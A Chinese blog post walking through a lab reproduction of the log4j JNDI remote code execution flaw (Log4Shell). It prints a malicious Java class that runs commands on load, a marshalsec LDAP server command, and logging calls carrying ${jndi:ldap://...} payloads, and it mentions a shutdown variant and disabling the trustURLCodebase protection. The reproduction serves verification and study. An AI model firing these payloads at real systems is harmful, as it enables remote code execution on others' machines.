「这是我参与2022首次更文挑战的第1天,活动详情查看:2022首次更文挑战」。
1.简介
前些天log4j官方宣布的log4j的漏洞闹得沸沸扬扬,各个公司加班升级修复,我们也在周末要求验证版本保证不受影响,既然知道了漏洞,我们就复现一下,比如让被注入文件的电脑关个机
2.工具准备
download.csdn.net/download/An…
里面包含2份源代码,两个工具类
log4j-exp:执行被注入代码的客户端服务 web-goodskill:存放注入文件的http服务 启动ldap的两个服务
3.复现步骤
1. 将注入文件放入http服务并启动测试下载
文件web-goodskill里有两份demo注入文件,一份打开计算器,一份执行关机
public class Log4jTest {
public Log4jTest() {
}
static {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
System.out.println("无害测试,没有攻击性,linux/mac 创建文本:xxxyyyzzz.txt;windows 弹出计算器。");
String[] var0;
try {
var0 = new String[]{"touch", "xxxyyyzzz.txt"};
Runtime.getRuntime().exec(var0).waitFor();
} catch (Exception var2) {
}
try {
var0 = new String[]{"calc"};
Runtime.getRuntime().exec(var0).waitFor();
} catch (Exception var1) {
}
}
}
测试可以通过服务下载文件,这一步就算可以了
2. 启动ladp服务映射注入文件
进入到下载的工具包中,在地址栏直接打cmd进入命令框
执行命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8081/#Log4jTest 1389
启动完成后第二步就完成了
3. log4j2执行注入
IDEA打开log4j-exp找到 log4jRCE 类,执行main方法
public class log4jRCE {
private static final Logger logger = LogManager.getLogger(log4jRCE.class);
public static void main(String[] args) {
/* String calc = "${jndi:ldap://172.30.12.181:1389/Basic/Command/calc}";
String ping = "${jndi:ldap://172.30.12.181:1389/Basic/Command/ping www.baidu.com}";
String vm = "${java:vm}";
logger.error("{}",vm);*/
//System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
logger.error("params:{}","${jndi:ldap://172.30.12.181:1389/Log4jTest}");
logger.error("params:{}","${jndi:ldap://172.30.12.181:1388/ClearDemo}");
//logger.error("params:{}","${jndi:ldap://172.30.12.181:1389/ClearDemo}");
}
}
执行结果:
上面那行输出文字是我们的注入代码里写的输出,证明确实将远程代码执行了
想要执行注入的关机代码放开下一行注释就可以了,需要在上文开启ldap服务的在开启ClearDemo类的端口
本地执行是都可以的,但是在远程客户端执行的时候如果没有这个设置则不会拉取远程代码,这是jdk1.8_u191等几个版本后设置的默认设置,防止ldap注入
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");